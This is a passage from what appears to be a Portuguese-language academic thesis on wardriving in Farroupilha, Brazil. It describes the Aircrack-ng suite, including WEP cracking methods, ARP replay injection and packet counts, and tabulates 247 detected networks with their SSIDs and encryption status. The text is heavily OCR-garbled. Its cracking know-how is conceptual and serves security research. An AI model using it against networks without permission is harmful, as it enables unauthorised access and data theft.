configuracdes), goftware carrega o arquivo que contém os dados (no cadtetitumbler,
um arquivo de extensao “nsl”) diretamente em s@sapacal, gerando os arquivos KML
referentes aos resultados obtidos. Para visuagaehtdo, basta possuir instalado o Google
Earth ou, caso desejar visualizar com o Google Mag@squivo deve ser disponibilizado na
web. Na Figura 4.14, sdo demonstrados alguns ressligel@dos pelo Ksngem, apontando as
localizacbes das redes, (podendo ser apresentadesres diferentes, a fim de identificar as
redes com criptografia e as redes sem criptogrdiaje-se observar também o detalhamento

de uma rede especifica.

Uma funcionalidade interessante nesta ferramentaegalém da geracao de pontos,
o Ksngem cria outras formas de visualiza¢des, caooexemplo, a visualizacdo do alcance
aproximado do sinal de cada rede, identificando cores diferentes cada canal e o uso de
criptografia, demonstrando, ainda, as possiveiasade sombra do sinal, como pode ser

observado na Figura 4.15.
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55_00:05:9E:83:EA:6D

SEID Casakkkk
Wendor : Tinwvell Corp

FirstSeen : 20071005 0216:21
LastSeen : 20071024 021341

MetType : Infrastr
Channel: &
Encryption : WWEP
Closked :
Signal : 51
MaxRate - 11
GPS DATA

G5 Let-23.231218 Long: -51 337425
Al 2534.78000 Sat : 12

B MaxRangs | 1000.8 meters
Avpfange : S67 6 meters
GPS Data Size : 83

MISC DATA
Metwork Assoc : na
P 0000

W Source File  Wardriving nist
Process Time : 20071028 15:34:16

51°20/50.58" W elev. 757 m

Figura 4.15 — E

4.3.2Software para quebra de protocolo de criptografia

A fim de efetuar uma tentativa de quebra de prdtode seguranca, serdo utilizados
softwares especificos para este propdsito, também conhecawso ferramentas de
crackeamentocfacking tools). Este tipo de ferramenta se aproveita das fapassentadas
em torno dos protocolos de criptografia, a fim delgqar a seguranca e descobrir as chaves
utilizadas no processo (EARLE, 2006).

Apéds serem divulgadas as diversas vulnerabilidedégentes no protocolo WEP,

diversas ferramentas surgiram com o0 objetivo deloexp estas falhas. Atualmente,
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encontram-se com facilidade ferramentas disponiv@isiternet que prometem quebrar esta
criptografia. Nota-se que as ferramentas séo, eangsase totalidade, desenvolvidas para
operar na plataforma Linux, por sua capacidadeedengiamento do sistema operacional em

baixo nivel, oferecendo uma potencialidade elevadarocesso de quebra de criptografia.

O software escolhido para realizar tal tarefa faiuéte de aplicativos Aircrack-ng,
visto que é a ferramenta mais completa e eficagodisel atualmente, como é descrita a

seqguir.

4.3.2.1 Aircrack-ng Suite

A suite Aircrack-ng € um conjunto de ferramentas @aditoria de redes sem fio,
surgida a partir dosoftware Aircrack, criado por Cristophe Devine, que teveau se
desenvolvimento e suporte interrompidos. Considesdalmente como a melhor ferramenta
para quebra de protocolo de criptografia, o Airkrag € uma ferramenta de crackeamento de
chaves WEP e WPA-PSK (padréo 802.11), permitindeszoberta das chaves envolvidas no

processo de criptografia, através da captura detemtrafegados pela rede.

E uma ferramenta dsoftware livre, operando sob a licenca GPLef@ral Public
License), a qual permite a utilizacdo, distribuicdo e &jeoamento dosoftware sem
qualquer custo. Possui excelente documentacao atsymantidos pela equipe do projeto
(composta por seis pessoas). Atualmente, encomteays sua versdo 0.9.1, disponivel no
endereco http://www.aircrack-ng.org. Sua operacaalirécionada a plataforma Linux,
agregando, também, uma versdo para plataforma Wgdesta ultima tem suas
funcionalidades limitadas, bem como suporte red)z{AIRCRACK-NG, 2007). Em sua
versdo para Linux, a utilizagdo da suite Aircragkeérrealizada através de linhas de comando,

onde os resultados sé&o apresentados em formatde tex

Através de seu conjunto de ferramentas, a suiterakik-ng permite a captura e
injecdo de pacotes em redes 802.11, bem como aaigmento de dispositivos de rede e a
guebra dos protocolos de criptografia. Embora ¢epom grande nimero de adaptadores de
rede sem fio, esta ferramenta exige que, para @adeaito funcionamento, na maioria dos
casos, sejam realizadas atualizacdes no sistemracap®l, referentes aos adaptadores de
rede utilizados (em virtude das particularidadesesgntadas por estes). As atualizacbes

pertinentes aos adaptadores suportados podemcsattieras no propriste do projeto.
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A suite Aircrack-ng engloba um total de sete fepatas (outras cinco estdo em
desenvolvimento), as quais possuem diferentes agpls e propositos. As principais

ferramentas disponiveis e que seréo utilizadagaouwepso de execucédo dardriving, sao:

* Airodump-ng: é a ferramenta de captura de pacodes18. Através desta, é
possivel efetuar o0 monitoramento e a captura dostgs trafegados pelo canal
configurado (pode utilizar qualquer canal do pad@.11). Permite salvar todos
0s pacotes que foram capturados ou, ainda, peamtazenar apenas os IVs dos
pacotes. Os resultados da captura servem comalarngasa o processo de quebra

dos protocolos.

» Aireplay-ng: € a ferramenta de injecdo de pacotesredes 802.11. Redes
protegidas pelo WEP ou WPA-PSK séo passiveis dpiatee-injecdo de trafego,
ou seja, através desta ferramenta, podem-se insarates na rede em questao,
aumentando o trafego e, consequentemente, a cajgypacotes, diminuindo o
tempo necessario para que a descoberta das clegaesetuada com sucesso.

» Aircrack-ng: é a ferramenta que efetua a descoluErsachaves utilizadas pelo
WEP e WPA-PSK, explorando as vulnerabilidades amtaslas em torno destes
protocolos. A partir dos pacotes capturados pefoddimp-ng (necessita de uma
guantidade suficiente para tal), o Aircrack-ng @liliversas formas de ataques,
revelando assim a chave utilizada no processoipi®grafia. A quebra do WEP é
realizada utilizando dois métodos fundamentais.ridngro método (forma de
atague) € o PTW (Pyshkin, Tews, Weinmann). A ppalcvantagem do PTW é o
fato que, para que seja efetuada a quebra do Witiepp pacotes de dados séo
necessarios. O segundo método utilizado € o at&fd® (Fluhrer, Mantin,
Shamir)/KoreK, o qual incorpora diversos ataquedstissicos para descobrir a
chave WEP, combinado a ataques de forca brutaiohdiltnente, esta ferramenta
oferece ataques de dicionéario, a fim de revelahave WEP. Em relacdo ao
WPA-PSK e WPA2-PSK, somente sdo utilizados ataqdes dicionario
(AIRCRACK-NG, 2007) (AIRCRACK-PTW, 2007). O Aircrleng pode revelar
chaves WEP de 64 (40) e 128 (104) bits e tambénveshaVPA-PSK
(passphrase) de até, no maximo, 20 bytes. Na Figura 4.16, momhstrada a
utilizagéo desta ferramenta, revelando a chave WHiPada.
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Figura 4.16 — Aircrack-ng, revelando a chave WEP.

Inicialmente, utilizando somente o método FMS, acrick-ng necessitava de
4.000.000 a 6.000.000 de pacotes capturados para quebra do WEP fosse efetuada com
sucesso. Quando incorporou 0o método KoreK, estatigiagle de pacotes foi reduzida,
necessitando de 500.000 a 2.000.000 pacotes. ddiilez 0 método PTW, o Aircrack-ng
necessita de 40.000 a 85.000 pacotes para quere \BHaP possa ser revelada. Desta forma,
torna rapido e eficiente o processo de quebra dimgulo, permitindo assim a sua utilizacdo
emwardriving. O tempo de processamento necessario para a éescdlas chaves, desde
que seja capturada uma quantidade suficiente degsa@ muito reduzido, podendo, muitas
vezes, revelar a chave instantaneamente a suacéxedaformacdes detalhadas sobre as
formas de ataque utilizadas pelo Aircrack-ng podemencontradas em Aircrack-ptw (2007),
bem como na documentacdo da ferramenta, dispontvedndereco http://www.aircrack-
ng.org/doku.php?id=aircrack-ng. E importante r¢asajue, para que o método PTW possa
ser utilizado, € necessario que sejam salvos todgsacotes capturados (e ndo, apenas, 0s

vetores de inicializacao destes pacotes).

Como abordado anteriormente, para que seja efetmaglaebra dos protocolos de
criptografia, € necessario que seja capturada waatigade suficiente de pacotes, visando
obter o maior nimero de vetores de inicializac&s)(possiveis. Esta captura pode, muitas
vezes, estender-se por dias, variando de acordooctraiego gerado pela rede em questao.
Para que a captura seja efetuada de forma madarapiAireplay-ng oferece a possibilidade
de injecéo (insercdo) de pacotes na rede, gerasslm aima grande quantidade de trafego.
Para isso, pode utilizar diversas formas de ataquo®, por exemplo, falsa autenticactakeé
authentication), desautenticacaadauthentication) e injecdo de pacotes de requisicao ARP
(Address Resolution Protocol) (ARP request replay injection).

O ataque ARPrequest replay é o método mais eficiente para gerar vetores de
inicializacdo, operando de maneira segura e estbiNgizando este ataque, o Aireplay-ng

analisa o trafego da rede em busca de pacotes ARRt&D, retransmite o pacote ARP
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capturado ao ponto de acesso. Isso causa a repgigld ponto de acesso) do pacote ARP
com um novo IV. A ferramenta retransmite continuateeo mesmo pacote ARP, obtendo
entdo, a cada pacote de resposta enviado pelo geragesso, um novo IV (AIRCRACK-

NG, 2007). Nos testes preliminares, o Aireplay-pgeaentou uma incrivel performance na
injecdo de pacotes, obtendo uma relagdo de insatedaté 470 pacotes por segundo,
permitindo ao Airodump-ng capturar em torno de 1623 por segundo, obtendo

rapidamente (em aproximadamente dois minutos) atigiaae de IVs necessaria para realizar
a quebra do WEP. Vale ressaltar que os niveis lkdeigade de captura e injecdo de pacotes

sao diretamente relacionados a qualidade do dimi@oopelo adaptador de rede.

Pelas inUmeras caracteristicas e funcionalidadesamptadas pela suite Aircrack-ng,
bem como a performance obtida com a ferramentaptee este software ideal para a

tentativa de quebra de protocolo, apresentada trabsgho, em conjunto agardriving.

4.4 Varredura e Mapeamento

Depois de abordada a metodologia, bem como asnfemas dehardware e
software, descreve-se neste capitulo os resultados daae@éti dovardriving. A varredura
em busca de redes-fi foi realizada entre os dias 9 e 24 de outubro @ 2cumprindo
rigorosamente a metodologia definida.

Na Figura 4.17, pode-se observar todo o equipameanttuncionamento, o qual ndo
apresentou qualquer falha durante o processwatdriving. A varredura deu-se de forma

adequada e segura, ndo apresentando conflitosrateompos.

Figura 4.17 — Equipamentos dardriving.
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Sendo assim, ap0s realizadomardriving, os resultados obtidos pelssftwares
NetStumbler e Wifi Hopper foram exportados e tabe$a Um resumo dos resultados é

demonstrado no Quadro 4.1.

Quadro 4.1 — Resumo dos resultadosvealriving.

Total de redes encontradas 247
Total de redes com criptografia 184
Total de redes sem criptografia 63
Total de redes BSS/ESS (APS) 241
Total de redes Ad-Hoc 5

Total de redes 802.11b (11 Mbps) 61
Total de redes 802.11g (54 Mbps) 186
Redes com criptografia WEP 184
Redes com criptografia WPA/WPA2 0

Demonstrativo dos canais utilizados | Canal 1: 32
Canal 2: 7
Canal 3: 5
Canal 4: 4
Canal 5: 8
Canal 6: 100
Canal 7: 7
Canal 8: 3
Canal 9: 7
Canal 10: 5
Canal 11: 69

Na Tabela 4.1, sdo apresentados os resultados geraarredura, demonstrando as
redes encontradas e suas caracteristicas. E imorsalientar que alguns dados foram
omitidos, como, por exemplo, o endereco MAC e awdmnadas GPS pertinentes a cada

rede, visando garantir a ndo divulgacdo dos daduxaizacdes das redes, sejam estas
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seguras ou ndo, uma vez que essa indicacdo pode aitegislacio vigente e ndo procede

com o comportamento ético adotado neste trabalho.

Tabela 4.1 — Resultados geraisveldriving.

n° SSID Tipo | Velocidadg Canal | Criptografia
01 "sem nome" AP 11 Mbps 4

02 "sem nome" AP 11 Mbps 10

03 3Com AP 11 Mbps 11

04 3Com AP 54 Mbps 11

05 adsl AP 11 Mbps 1

06 AM Informatica AP 54 Mbps 6 WEP
07 AM Informatica AP 54 Mbps 6 WEP
08 AM-Paulo AP 54 Mbps 6 WEP
09 AM-Zucco AP 54 Mbps 9 WEP
10 anseteste AP 54 Mbps 2 WEP
11 Antena 1 AP 54 Mbps 11

12 Antena 4 AP 11 Mbps 8

13 AP AP 11 Mbps 11

14 ap2 AP 54 Mbps 6 WEP
15 Ap62 AP 11 Mbps 6

16 APhome AP 54 Mbps| 11 WEP
17 baretta AP 54 Mbps 11 WEP
18 BARTELLE AP 54 Mbps 6 WEP
19 Bartelli AP 11 Mbps 9 WEP
20 Bartelli Novo AP 11 Mbps 11 WEP
21 belkin54g AP 54 Mbps 11

22 biazin AP 54 Mbps 11 WEP
23 Bigfer2 AP 54 Mbps 6 WEP
24 BigNov AP 11 Mbps 6 WEP
25 BIGRRR AP 11 Mbps 1 WEP
26 bit24 guerra_centro AP 11 Mbps 1

27 bit24 guerra_cing AP 54 Mbps 3

28 bit24 guerra_mp AP 54 Mbps 7

29 bit24 julio AP 11 Mbps 4

30 bitwls_1maio AP 11 Mbps 2

31 bitwls_cnec AP 11 Mbps 7

32 bitwls_forqueta AP 11 Mbps 11

33 bitwls_lindoia AP 11 Mbps 3

34 bitwls_milano AP 11 Mbps 6

35 bitwls_milanol AP 11 Mbps 1

36 bitwls_sf AP 11 Mbps 11

37 bitwls_sj AP 11 Mbps 4

38 Bolinha AP 54 Mbps 6 WEP
39 broilo AP 54 Mbps 11 WEP
40 broilo AP 54 Mbps 11 WEP
41 buttelli AP 54 Mbps 6 WEP
42 bzhomefar AP 54 Mbps 1 WEP




n° SSID Tipo | Velocidadg Canal | Criptografia
43 camara AP 54 Mbps 6

44 casa AP 54 Mbps 6 WEP
45 casa AP 54 Mbps 6 WEP
46 Casa Hotel AP 11 Mbps 11 WEP
47 Casa_ PKT AP 54 Mbps 5 WEP
48 Casakkkk AP 11 Mbps 6 WEP
49 CasaXCharl AP 11 Mbps 5 WEP
50 CharHom AP 11 Mbps 5 WEP
51 chico AP 54 Mbps 11 WEP
52 chies AP 54 Mbps 6 WEP
53 cleonicel23 AP 54 Mbps 8 WEP
54 cnx AP 54 Mbps 6 WEP
55 Concatto Hotel AP 54 Mbps 2 WEP
56 contaggio AP 54 Mbps 1 WEP
57 CONTE AP 54 Mbps 6 WEP
58 CONTE AP 54 Mbps 7 WEP
59 COPIFAR AP 54 Mbps 6 WEP
60 Counter AP 54 Mbps 11 WEP
61 Cpagua AP 54 Mbps 9 WEP
62 Cpagua AP 54 Mbps 9 WEP
63 cultural AP 54 Mbps 6 WEP
64 dani AP 54 Mbps 1 WEP
65 dante AP 54 Mbps 1 WEP
66 data_soft AP 54 Mbps 6 WEP
67 deceserowireless AP 54 Mbps 1 WEP
68 default AP 54 Mbps 5 WEP
69 default AP 54 Mbps 6 WEP
70 default AP 54 Mbps 6 WEP
71 default AP 54 Mbps 6 WEP
72 default AP 54 Mbps 6 WEP
73 default AP 54 Mbps 7 WEP
74 default AP 54 Mbps 10 WEP
75 default AP 54 Mbps 11 WEP
76 default AP 11 Mbps 6

77 default AP 11 Mbps 6

78 default AP 11 Mbps 6

79 default AP 54 Mbps 6

80 default AP 54 Mbps 6

81 default AP 54 Mbps 6

82 default AP 54 Mbps 6

83 default AP 54 Mbps 6

84 default AP 54 Mbps 6

85 default AP 54 Mbps 6

86 default AP 54 Mbps 6

87 default AP 54 Mbps 6

88 Deonilo Zangalli AP 54 Mbps 6 WEP
89 diginove AP 54 Mbps 6 WEP
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n° SSID Tipo | Velocidadg Canal | Criptografia
90 digital_lab AP 54 Mbps 11 WEP
91 digital_mobile AP 54 Mbps 6 WEP
92 digitalstorage AP 54 Mbps 6 WEP
93 dlink AP 54 Mbps 1

94 dlink AP 11 Mbps 6

95 dlink AP 54 Mbps 6

96 dlink AP 11 Mbps 11

97 dlink AP 11 Mbps 11

98 dlink-igor AP 54 Mbps 6 WEP
99 DONATELLO AP 11 Mbps 11 WEP
100 | Dorva AP 54 Mbps 6 WEP
101 | Drofar AP 54 Mbps 7 WEP
102 | Drofarl AP 54 Mbps 7 WEP
103 | ecentral AP 54 Mbps 11

104 | EC-GW AP 54 Mbps 1 WEP
105 | Edson AP 54 Mbps 4 WEP
106 | eletrofar AP 54 Mbps 6 WEP
107 | essenziale AP 54 Mbps 11 WEP
108 | essenziale2 AP 54 Mbps 11 WEP
109 | Estanis AP 54 Mbps 11 WEP
110 | FC-GW AP 54 Mbps 1 WEP
111 | feltrin AP 54 Mbps 11 WEP
112 | folle AP 54 Mbps 6 WEP
113 | fonseca AP 54 Mbps 6 WEP
114 | fontanive AP 54 Mbps 11 WEP
115 | fontanive AP 54 Mbps 11 WEP
116 | francisquetti AP 54 Mbps 1 WEP
117 | Free Public WiFi Peer 11 Mbps 1

118 | G2NET dir 2 AP 11 Mbps 3 WEP
119 | G2Net MP AP 11 Mbps 1 WEP
120 | G2net Rock2 AP 11 Mbps 9 WEP
121 | G604T AP 54 Mbps 6 WEP
122 | G604T_wireless AP 54 Mbps 1] WEP
123 | gamecase AP 54 Mbps 11

124 | GameRockss AP 11 Mbps 2 WEP
125 | Helena AP 11 Mbps 1 WEP
126 | Henderson AP 54 Mbps 6 WEP
127 | home AP 54 Mbps 1 WEP
128 | home AP 54 Mbps 1 WEP
129 | Home AP 54 Mbps 6 WEP
130 |idw_1372g AP 54 Mbps 11 WEP
131 |idw_1372g AP 54 Mbps 11 WEP
132 | Industriajjgi AP 54 Mbps 2 WEP
133 | ITALNETFR1 AP 11 Mbps 2

134 | ITALNETFR6 AP 11 Mbps 10

135 | lttol AP 54 Mbps 6 WEP
136 | J27062007 AP 11 Mbps 1 WEP
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137 | janadacio AP 54 Mbps 11 WEP
138 | JJ28 07_2007 AP 11 Mbps 11 WEP
139 | jogfull AP 54 Mbps 11 WEP
140 | kartodromo AP 54 Mbps 11 WEP
141 | kratz AP 54 Mbps 6

142 | kubiak AP 54 Mbps 1 WEP
143 | Kuslerwi AP 54 Mbps 6 WEP
144 | lazzari AP 11 Mbps 6

145 | lederer AP 54 Mbps 1 WEP
146 | Lema AP 54 Mbps 6 WEP
147 | letti AP 54 Mbps 1 WEP
148 | LindBar AP 54 Mbps 11 WEP
149 | linksys AP 11 Mbps 6

150 | linksys AP 54 Mbps 6

151 | linksys. OW 54996 AP 11 Mbps 6 WEP
152 | LJC AP 54 Mbps 6 WEP
153 | LM AP 54 Mbps 1 WEP
154 | loctt AP 54 Mbps 7 WEP
155 | Luki AP 11 Mbps 6 WEP
156 | marcos AP 54 Mbps 6 WEP
157 | Matheus Colorado AP 54 Mbps G WEP
158 | Mauro AP 54 Mbps 6 WEP
159 | Maxigraf AP 54 Mbps 1 WEP
160 | md160507 AP 54 Mbps 5 WEP
161 | Metropolis AP 54 Mbps 11 WEP
162 | mfhoff AP 54 Mbps 6 WEP
163 | milton AP 54 Mbps 6 WEP
164 | msinterno AP 54 Mbps 1 WEP
165 | msinterno AP 11 Mbps 6 WEP
166 | mswireless AP 54 Mbps 11 WEP
167 | mswireless AP 54 Mbps 11 WEP
168 | MULTICLC AP 11 Mbps 11

169 | Multinova AP 54 Mbps 6 WEP
170 | NETGEAR AP 54 Mbps 11 WEP
171 | NICOLODI AP 54 Mbps 11 WEP
172 | OAB AP 54 Mbps 6 WEP
173 | oknet AP 11 Mbps 11 WEP
174 | ophtalmoclinica AP 54 Mbps 11 WEP
175 | palaoro AP 54 Mbps 11 WEP
176 | park Peer 11 Mbps 11

177 | park Peer 11 Mbps 11

178 | park Peer 11 Mbps 11

179 | park Peer 11 Mbps 11

180 | pasqual AP 54 Mbps 6 WEP
181 | perotti AP 54 Mbps 11

182 | Pet Shop AP 54 Mbps 6 WEP
183 | pizano AP 54 Mbps 1 WEP
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184 | PJR AP 54 Mbps| 6 WEP
185 | planalto AP 54 Mbps 1 WEP
186 | play AP 54 Mbps 5 WEP
187 | Plimor_Reuniao AP 54 Mbps 6 WEP
188 | Plutao AP 54 Mbps| 11 WEP
189 | Postali AP 54 Mbps| 11 WEP
190 | Pretto AP 54 Mbps 6 WEP
191 | prodent AP 54 Mbps 6 WEP
192 | prux AP 54 Mbps 1 WEP
193 | Publicidatas AP 54 Mbps 6 WEP
194 | Quarto 1 AP 54 Mbpg 3 WEP
195 | Quarto 2 AP 54 Mbps 3 WEP
196 | razzera AP 54 Mbps 11 WEP
197 | RedBig AP 11 Mbps 9 WEP
198 | Rede_007 AP 54 Mbps 6 WEP
199 | Rede 008 AP 54 Mbps 5 WEP
200 | Redes_007 AP 11 Mbps 10 WEP
201 | RGO _GEOCAD AP 54 Mbps 6 WEP
202 | ROSA AP 54 Mbps 11 WEP
203 | RuAnaRe AP 54 Mbps 6 WEP
204 | Scherer AP 54 Mbps 11

205 | SFeltrin3 AP 54 Mbps 1 WEP
206 | sgnet AP 54 Mbps 11 WEP
207 | silvestri AP 54 Mbps 6 WEP
208 | silvestrin AP 54 Mbps 6 WEP
209 | Soares AP 11 Mbps 11 WEP
210 | SOPHIA AP 54 Mbps 6 WEP
211 | soppres AP 54 Mbps 6 WEP
212 | symbol AP 54 Mbps 6 WEP
213 | T&B AP 54 Mbps 11 WEP
214 | TOYS AP 54 Mbps 6 WEP
215 | TP-LINK AP 54 Mbps 6

216 | transfarroupilha AP 11 Mbps 1

217 | TRENTIN AP 54 Mbps 6 WEP
218 | Troes Interno AP 54 Mbps 8 WEP
219 | TROMBINIFAR AP 54 Mbps 6 WEP
220 | TROMBINIFAR AP 54 Mbps 11 WEP
221 | valcir AP 54 Mbps 2 WEP
222 | VCN AP 54 Mbps 1 WEP
223 | Video AP 11 Mbps 6

224 | WEAFLEXO AP 54 Mbps 11 WEP
225 | Wi Fi AP 54 Mbps 6

226 | wifi AP 54 Mbps 10 WEP
227 | wifi_bel AP 54 Mbps 11 WEP
228 | wifidbm AP 54 Mbps 5 WEP
229 | wireless AP 54 Mbps 6 WEP
230 | wireless AP 54 Mbps 6 WEP
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n° SSID Tipo | Velocidadg Canal | Criptografia
231 | wireless AP 54 Mbps 6 WEP
232 | wireless AP 54 Mbps 6 WEP
233 | Wireless AP 54 Mbps 11 WEP
234 | Wireless Thomasini AP 54 Mbps 6 WEP
235 | Wireless cp AP 54 Mbps 11 WEP
236 | wireless_sandro AP 54 Mbps 6 WEP
237 | wirelesshome AP 54 Mbps 6 WEP
238 | wirelesshome AP 54 Mbps 6 WEP
239 | wirelessmania AP 54 Mbps 6 WEP
240 | wirelessmania AP 54 Mbps 11 WEP
241 | wirelessmania AP 54 Mbps 11 WEP
242 | www.powermidia.net AP 54 Mbps 1 WEP
243 | XmiaNetwork AP 54 Mbps 6 WEP
244 | zanella AP 54 Mbps 11 WEP
245 | ZPlus-G120 AP 11 Mbps 9

246 | ZPlus-G120 AP 11 Mbps 11

247 | ZWA-G120 AP 11 Mbps 11

O processo de varredura em busca de redds obteve resultados satisfatorios,
reportando um numero expressivo de redes, super@apectativas iniciais. A utilizacdo
de sondagem ativa se mostrou a mais indicada gqusmaecessita efetuar um mapeamento

do ambiente.

As ferramentas dbardware utilizadas apresentaram um excelente funcionamento
reportando os resultados com rapidez e qualidad=martdo de redwi-fi e a antena externa
obtiveram um alcance de sinal superior ao esperegjaturando redes consideravelmente
distantes do veiculo. Um exemplo desse alcanceeseeth determinado momento do
wardriving, onde se obteve, de dentro do veiculo, uma vikage para um condominio, o
gual identificou um ponto de acesso com uma bo#dguke de sinal. O interessante, neste
caso, foi a distancia que separava o veiculo ddaramio. Criando uma métrica no Google
Earth, verificou-se que a distancia foi de, apr@adamente, 1,8 Km, como mostrado na
Figura 4.18. A linha identifica a distancia entrequipamento daardriving € 0 ponto de

acesso encontrado.

As ferramentas dsoftware, por sua vez, apresentaram um funcionamento ésave
de qualidade, proporcionando uma interface limgaagicidade na utilizacdo destas. Apos
concluida a varredura, efetuou-se uma analise dssltados obtidos, destacando uma

interpretacdo clara e objetiva, como é descriegais.
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Figura 4.18 — Exemplo de alcance do sinal.

O processo de varredura obteve um total de 24 redeontradas, sendo que 184
redes possuem criptografia ativada e, as outrasdi®, ndo utilizam criptografia. Observa-se
que 25,5% das redes nédo utilizam os principais met®s de seguranca e criptografia
(WEP, WPA ou WPA2). Este valor é inferior ao obseiw nas estatisticas apresentadas por
Cardoso (2007) e Wigle (2007), onde a percentagenredes sem criptografia é de,
respectivamente, 35% e 43%. Esta estatistica sugereos usuarios de rede sem fio na

cidade de Farroupilha, possuem uma preocupacas owioa seguranca.

Pode-se observar, também, que a maior parte d@siasyossui pelo menos uma
preocupacdo minima com a customizacdo de seusagognpos, uma vez que mais de 80%
dos SSIDs ndo sao os padrdoes dos fabricantes (qmonogxemplo, default”, “dlink” e
“linksys”). Porém, ainda ha um grande nimero desemm o SSID padrao de fabrica, o que
denota a instalacdo de pontos de acesso utilizzsdonfiguracdes de fabrica. Esta denotacao
pode ser agravada pelo fato de que em, aproximadari®% das redes com SSID padrao,
ndo ha a presenca de criptografia, tornando-senaalsios faceis para possiveis atacantes.
Diversas redes possuem como SSID o nome da emmesdgo relacionado & empresa), o
gue, segundo Earle (2006), deve ser evitado aomaéxima vez que podem se tornar alvos

faceis para roubos de dados e informacdes.

A Figura 4.19 mostra a percentagem do total desredeontradas em cada um dos
canais propostos pelo padrdo 802.11. Como podelssrvado no grafico, uma grande
parcela das redes (81,4%) utilizam os canais 1y 610 Esses canais ndo se sobrepbem no
espectro de freqiiéncia, ou seja, ndo causam ir@ecia mutua (EARLE, 2006). No entanto,

a distribuicdo nédo é feita de forma homogénea, wemajue 40,5% das redes utilizam o canal
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6. Isto se deve ao fato da maioria dos fabricantdigarem este canal como padrao, e o0s
usuarios ndo se preocupam em modifica-lo de formatar interferéncias com outros pontos

de acesso vizinhos.

N° de redes
100
90 ~
80 A
70 A —
60 -
50
40 -
30 A
20 A

10
0 ||_||'_||'_|||_| |_||—||_||_|

1 2 3 4 5 6 7 8 9 10 11

Canal

Figura 4.19 — Distribuicéo dos canais.

Quanto aos padrdes das redes encontradas, not@3&,3% séao redes 802.11g (54
Mbps), apresentando apenas 24,7% de redes 802L11NbIl{ps). Em relacdo a seguranca
adotada pelos padrbes, apenas 37,7% das reded8@presentam o uso de criptografia. A
utilizacdo de criptografia atinge 86,5% das red@®.Blg encontradas, denotando-se assim
uma maior adocdo de seguranca pelas redes comepado¥os. Esta situacdo pode ser
considerada um bom indicador de nivel de seguradcéado pelas redes, uma vez que
administradores de rede e usuarios estao se digmui® e conhecendo melhor a tecnologia
wi-fi, alienado a grande popularidade que as redesise@nfi ganhando.

Por fim, é importante salientar que nenhuma rede wiliza o padrdo WPA ou
WPAZ2 foi encontrada, podendo-se associar isso taodiestes padrdes serem relativamente
Nnovos e, em sua maioria, necessitarem de equipamadicionais na estrutura da rede, como,

por exemplo, um servidor RADIUS.

Seguindo a analise, foi realizado o mapeamento oEmiltados obtidos,
demonstrando as localizagcbes das redes no ambiticipal. Os pontos foram gerados
atraves dwsoftware Ksngem, permitindo a visualizacdo no Google Eartio Google Maps.
Embora estesoftwares permitam visualizar os nomes das redes, utilizasates distintas
para sinalizar as redes com ou sem seguranca,dastes sdo omitidos neste trabalho, visto

que ndo pretende-se divulgar ou indicar a locdiaage redes sem seguranca. Os pontos
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criados nos mapas servem apenas para indicar enpeesle uma redei-fi, possibilitando

assim criar-se uma analise do ambiente onde seaeawardriving.

A Figura 4.20 mostra o mapeamento das redds utilizando o Google Earth, com
uma visualizacdo completa da area urbana da cidapeesenca de uma rede é indicada pelo
marcador B “. Como abordado anteriormente, acposdos pontos nos mapas € dada pela
localizacdo do equipamento derdriving em relagdo a rede, tendo como base a localizagao
do dispositivo GPS, em relacdo ao sinal mais fetebido, desta mesma rede em questao.

®2007

1656 m

Flgura 4.20 - Mapeamento dos resultados no Gocag’tth .,

Ao se utilizar o Google Earth na visualizacédo dostps, pode-se obter resultados
graficos interessantes, umas vez queofiware permite um nivel de aproximagdo na
visualizagdo das imagens, identificando os pontapeados. A Figura 4.21 mostra uma
visualizacdo do mapeamento na regido central dadejddentificando as redes através dos
marcadores.
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Figura 4.21 — Visualizacdo aoximada os rsuistzmlx)GooleEarth.

O Google Earth pode oferecer uma visualizacéo d@asamte dos resultados nas
imagens aéreas do local, porém nao dispde de nmagasiarios e/ou municipais. Para se
obter maior precisdo no mapeamento das redezoutiie o Google Maps. Este, por sua vez,
possibilita a visualizacdo de ruas, avenidas edssrda cidade, permitindo assim identificar,

com maior precisdo e detalhamento, a localizacaoeatkes encontradas.

Para gerar o mapeamento com o Google Maps, o ar¢iML, criado a partir do
Ksngem (o qual possui todos os pontos mapeadogsjisfoonibilizado em um servidaveb.
O Google Maps permite a importacao de arquivos Kh&lponibilizadoson-line, onde deve-
se fornecer o endereco do arquivo no campo de bdkrdigura 4.22, € demonstrado o
mapeamento das redes, utilizando o Google Maps, wuom visualizacdo completa da area
urbana da cidade. Assim como no mapeamento comogl&d&arth, os nomes das redes
foram omitidos, bem como ndo ha diferenciacdo descou marcadores entre as redes. As

redes sao identificadas por um marcador propr@etiriGoogle Maps.
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Figura 4.22 — Mapeamento dos resultados no GooglesM

Através do Google Maps, pode-se obter um mapeanpeatiso da localizacdo das
redes, uma vez que o software permite uma grangia@cado ao mapa, visualizando os
nomes de ruas, avenidas ou estradas. A Figurado28a uma visualizacdo do mapeamento
na regido central da cidade, identificando as rqmes marcadores. Na Figura 4.24, é

demonstrada a visualizacao hibrida da mesma regi@sentada na Figura 4.23.

Figura 4.23 — Visualizacao aproximada dos resutamoGoogle Maps.
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le cemplo, "Av Brasi, 100 - S&o Paulo, 5P ou "hotéis proximos & savassi, Belo Horizonte"
\ [ Pestuisarno Mapa |
m = Brasi ;g

iz [

omapa | Encontrarempresas  Como chegar

Flgura 4 Vlsuallzagao hlbrlda dos resultadn&oogle Maps.

A partir dos mapas gerados, pode-se observar qgearade maioria das redes
encontradas estdo localizadas na regido centreiddde, devido a grande concentracdo de
empresas e, ainda, agregado ao fato desta regié@eeapar um elevado poder aquisitivo.
Poucas redewi-fi foram encontradas nos bairros da cidade (em aldggsses, nenhum ponto
de acesso foi encontrado), o que pode ser rematidato destas regifes apresentarem um
menor poder aquisitivo e, conseqlientemente, n&uffesn um contato muito préximo com a

tecnologia.

Os mapas gerados podem auxiliar, tanto profissotk@iseguranca quanto usuarios
domésticos, na analise do ambiente quanto a podéuseguranca adotada pelas regies
daquela regido, determinando as medidas a seread&mnpara que seja criado um ambiente

seguro e estavel.

Através dos resultados obtidos, profissionais podeatiar as verdadeiras condicdes
das redes sem fio, a fim de promover configuragikExjuadas aquela regido e, sobretudo,
oferecer servicos que garantam a seguranca destes. iDeve-se observar que, a0 mesmo
tempo em que wardriving pode ser realizado por profissionais qualificaglgsie garantam a
ética desta pratica, usuarios mal intencionadogmposk valer devardriving para promover
atagues as redes, utilizando recursos sem préwaizaacdo e, de forma mais agravante,

podem roubar dados e informacdes das redes.
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4.5 Tentativa de quebra de protocolo de criptograé

Como abordado anteriormente, nos itens 2.1.3 e3,2.Bxistem diversas
